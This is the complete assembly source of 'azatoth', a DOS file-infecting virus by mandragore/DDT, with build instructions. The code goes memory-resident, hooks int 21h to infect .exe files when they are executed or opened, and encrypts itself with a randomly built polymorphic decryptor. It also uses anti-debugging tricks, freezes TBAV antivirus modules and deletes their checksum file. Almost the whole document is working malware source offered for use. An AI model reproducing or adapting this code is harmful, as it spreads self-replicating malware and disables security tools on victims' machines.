title azatoth comment * Äþ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ- Skillz: - tsr bellow TOM, infect .exe on exec/open - multiple infection (up to 3 times) - random decryptor (slow) - some anti-debug tricks (PIQ, irq 2, debug regs, stack, int01, int03) - freeze tbav residents modules nothing really special this time... just some idea in use. compile using tasm /m3 and tlink /t (what else?) þÄÄ mandragore/DDT ÄÄþ -þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ-þ- * ..model tiny ..code ..386p bptr equ wptr equ dptr equ virsiz equ eof-vircod cryptsz equ 5 ; nb of op. in 'modif ax' rutine org 0 start: ; host vircod: push cs pop ds mov wptr si,0 org $-2 adrboc dw boc decrypt: getw db 3 dup(90h) ; word > ax ax_job db cryptsz dup(90h,90h) ; work on ax putw db 5 dup(90h) ; word < ax comp db 8 dup(90h) ; jmp tst boc: in al,21h or al,2 ; freeze keybrd out 21h,al mov eax,dr7 ; i don't know why, but avputil show this ... mov al,0 ; unset BPs mov dr7,eax ; ... with operand edi instead of eax ! hehe mov bp,1234h org $-2 delta dw 0 push es mov [bp+jmparg],21h*4 ; fun w/ PIQ (+ set a value) jmp $ org $-1 ; jmp in middle of next instr. jmparg db 1 db 0 mov ax,1337h ;) yeah - resdnt check int 21h or ah,ah jz back_host mov eax,dr7 pushf test ah,20h ; GD set ? jnz vircod push es mov ax,3d00h lea dx,bp+tbrsdnt int 21h jc v_job mov ax,1605h mov dx,1 xor cx,cx int 2fh mov bptr es:[291h],0 ; freeze tbdriver (disable all tbav module) v_job: pop ax dec ax push ds mov ds,ax mov si,12h mov ax,[si] sub ax,(virsiz)/16+2 ; decrease TOM mov [si],ax sub wptr ds:[3],(virsiz)/16+2 ; and free RAM xor si,si mov dl,'M' xchg [si],dl mov ds,ax mov [si],dl ; chain MCBs inc si mov wptr [si],8 mov wptr [si+2],(virsiz)/16+1 inc ax mov es,ax pop ds mov bptr [bp+flagin],0 xor di,di lea si,bp+vircod mov cx,virsiz-(eof-eoc) rep movsb ; go in ram push 0 pop ds shl eax,10h pop ax and ah,1 ; anti-tunneling jnz hook21 mov ax,hook21-vircod ; hook int 21h inc cx xchg es:[jmparg-vircod],cx ; restore self-modify'ed code xchg si,cx xchg eax,[si] mov es:[old21-vircod],eax mov es:[old21b-vircod],eax back_host: push 0 pop ds mov ah,ds:[46ch] gettim: mov al,ds:[46ch] cmp ah,al je gettim push ss pop ds lea dx,bp+bye mov ax,0911h mov si,'FG' ; make s-ice reboot if it uses mov di,'JM' ; defaults back-door values int 3 lea dx,bp+tbchksm mov ah,41h ; delete 'anti-vir.dat' (tbav) if exists int 21h pop ds push ds pop es mov ax,ds add ax,10h add cs:[bp+old_cs],ax ; restore segs add cs:[bp+old_ss],ax in al,21h and al,0fdh out 21h,al jmp $+2 ; refresh the PIQ cli push 1234h org $-2 old_ss dw 0 pop ss ; restore stack mov sp,0 org $-2 old_sp dw 0 sti db 0eah ; jmp to real beg old_ip dw 0 old_cs dw -10h ;================================ hooker hook21: pushf cmp bptr cs:[flagin-vircod],0 jne back21 cmp ah,3dh je tryinf cmp ah,6ch je tryinf push ax xor ah,4bh pop ax jz tryinf no21: cmp ax,1337h jne back21 ; residency check xor ax,ax popf iret back21: popf db 0eah old21 dd ? ;----------------------------- infection tryinf: pusha push ds es in al,21h or al,2 out 21h,al mov bptr cs:[flagin-vircod],1 cmp ah,6ch jne $+4 mov dx,si mov ax,3d02h int 21h jc eoinf xchg ax,bx push cs pop ds push ss pop ss pushf pop ax test ah,1 jnz gettim mov ah,3fh mov dx,header-vircod mov si,dx mov cx,28 int 21h ; read header xor di,di mov cx,'ZM' cmp [si],cx je k_exe xchg ch,cl cmp [si],cx je k_exe go_ni: jmp noinf ; avoid 4 bytes jmps below k_exe: cmp bptr [si+18h],40h ; win exe? je go_ni cmp [si+1ah],di ; overlays? jne go_ni push ds mov ax,0c016h mov ds,ax mov ax,ds:[di] pop ds mov cx,[si+12h] sub cx,ax ; cx=chksum-virmark jc k_inf1 ; <0 -> infect / mark as infected cmp cx,2 ja k_inf1 ; >2 -> infect / mark as infected je go_ni ; =2 -> don't infect more jmp k_inf ; <2 -> inc infection mark k_inf1: dec ax mov [si+12h],ax k_inf: inc wptr [si+12h] ; jmp go_ni ; ### mov ax,4202h xchg di,dx mov cx,dx int 21h push ax dx add ax,virsiz-(eof-eoc) adc dx,0 mov cx,512 ; calc new size of file div cx inc ax mov [si+2],dx ; update header mov [si+4],ax pop dx ax shl dx,12 push ax shr ax,4 ; calc new cs:ip add dx,ax pop ax and ax,0fh sub dx,[si+8] mov cx,dx xchg [si+16h],cx ; update header mov ds:[old_cs-vircod],cx xchg [si+0eh],dx mov ds:[old_ss-vircod],dx mov cx,ax xchg [si+14h],cx mov ds:[old_ip-vircod],cx mov ds:[delta-vircod],ax add ax,boc-vircod mov ds:[adrboc-vircod],ax add ax,eoc-boc mov ds:[stopcr-vircod],ax add ax,40h ; for stack ... should be enough xchg [si+10h],ax mov ds:[old_sp-vircod],ax mov ax,4200h xor cx,cx cwd int 21h mov ah,40h mov dx,si mov cx,28 ; update header int 21h mov ax,4202h cwd xor cx,cx ; lseek to eof int 21h ;----- build decryptor push ds pop es mov si,tabget-vircod ; choose word peeker mov di,getw-vircod in al,40h mov dx,3 and ax,dx mul dx add si,ax movsw movsb mov cx,cryptsz ; choose work on ax cli ; needed cuz ... push ss pop dx shl edx,10h mov dx,encrypt-vircod xchg dx,sp ; ... we use the stack push cs pop ss ; edx=ss:sp additm: mov si,tab_ax-vircod in al,40h and ax,7 ; al î [0;7] shl al,2 ; * 4 add si,ax ; point to an entry table lodsw mov [di],ax ; update decryptor lodsw push ax ; " encryptor inc di inc di loop additm xchg sp,dx ; restore stack shr edx,10h mov ss,dx sti mov si,tabput-vircod ; choose word poker in al,40h and ax,3 mov cl,5 mul cl add si,ax movsd movsb mov si,tabcmp-vircod ; choose rutine for cmp job in al,40h mov cx,3 and ax,cx shl al,cl add si,ax movsd movsd mov si,comp-vircod+1 shr al,cl add si,ax ; value not at a fixed offset mov ax,9876h org $-2 stopcr dw 0 mov [si],ax ;----- crypt work and ADN injection :) mov si,crwrde-vircod mov di,eoc-vircod mov cx,cwdsz rep movsb ; install crypter after us mov si,decrypt-vircod+3 mov di,(eoc-vircod)+(crypt2-crwrde+2) mov cx,cryptsz rep movsw ; copy decrypt rutine into crypter call eoc ; crypt / write / decrypt (and ret) ;----- the end. noinf: mov ah,3eh int 21h eoinf: mov bptr cs:[flagin-vircod],0 in al,21h and al,0fdh out 21h,al pop es ds popa jmp back21 ;----- misc rutinez crwrde: mov si,boc-vircod mov cx,(eoc-boc)/2 crypt: mov ax,[si] db cryptsz dup(' ') ; crypt encrypt:mov [si],ax inc si inc si loop crypt mov ah,40h mov cx,eoc-vircod cwd pushf db 9ah ; write old21b dd ? mov si,boc-vircod mov cx,(eoc-boc)/2 crypt2: mov ax,[si] db cryptsz dup(' ') ; decrypt mov [si],ax inc si inc si loop crypt2 ret cwdsz equ $-crwrde ;-------------- misc datas tbchksm db 'anti-vir.dat',0 tbrsdnt db 'TBDRVXXX',0 bye db 13,'hboot',13,0 flagin db 0 ; avoid hooker looping header db 28 dup(0) ;-------- tables used for decryptor tab_ax: xor al,ah ;+00 0*4 xor al,ah xor ah,al ;+04 1*4 xor ah,al rol ax,1 ;+08 2*4 ror ax,1 neg ax ;+12 3*4 neg ax dec ax ;+16 4*4 8 entrys dec ax inc ax inc ax ror ax,1 ;+20 5*4 rol ax,1 inc ax ;+24 6*4 inc ax dec ax dec ax not ax ;+28 7*4 not ax sig db 'mandragore/DDT',0,'[azatoth]',0 tabget: lodsw ;+00 0*3 dec si dec si mov ax,[si] ;+03 1*3 4 entrys int 3 push wptr ds:[si] ;+06 2*3 pop ax mov di,[si] ;+09 3*3 xchg ax,di msg db 'windblows must die! enjoy linux!' tabput: inc si ;+00 0*5 mov [si-1],ax inc si mov [si],ax ;+05 1*5 add si,2 int 3 ;+10 2*5 4 entrys mov [si],ax inc si inc si inc si ;+15 3*5 inc si mov [si-2],ax tabcmp: mov di,1234h ;+00 0*8 int 3 cmp si,di js $-1-2-3-5-cryptsz*2-3 cmp si,1234h ;+08 1*8 db 0d6h db 067h jc $-1-2-3-5-cryptsz*2-3 push si ;+16 2*8 4 entrys sub si,1234h pop si jc $-1-2-3-5-cryptsz*2-3 mov ax,si ;+24 3*8 db 65h cmp ax,1234h jbe $-1-2-3-5-cryptsz*2-3 for db 'P';arity ... eoc: org $+cwdsz eof: ends end start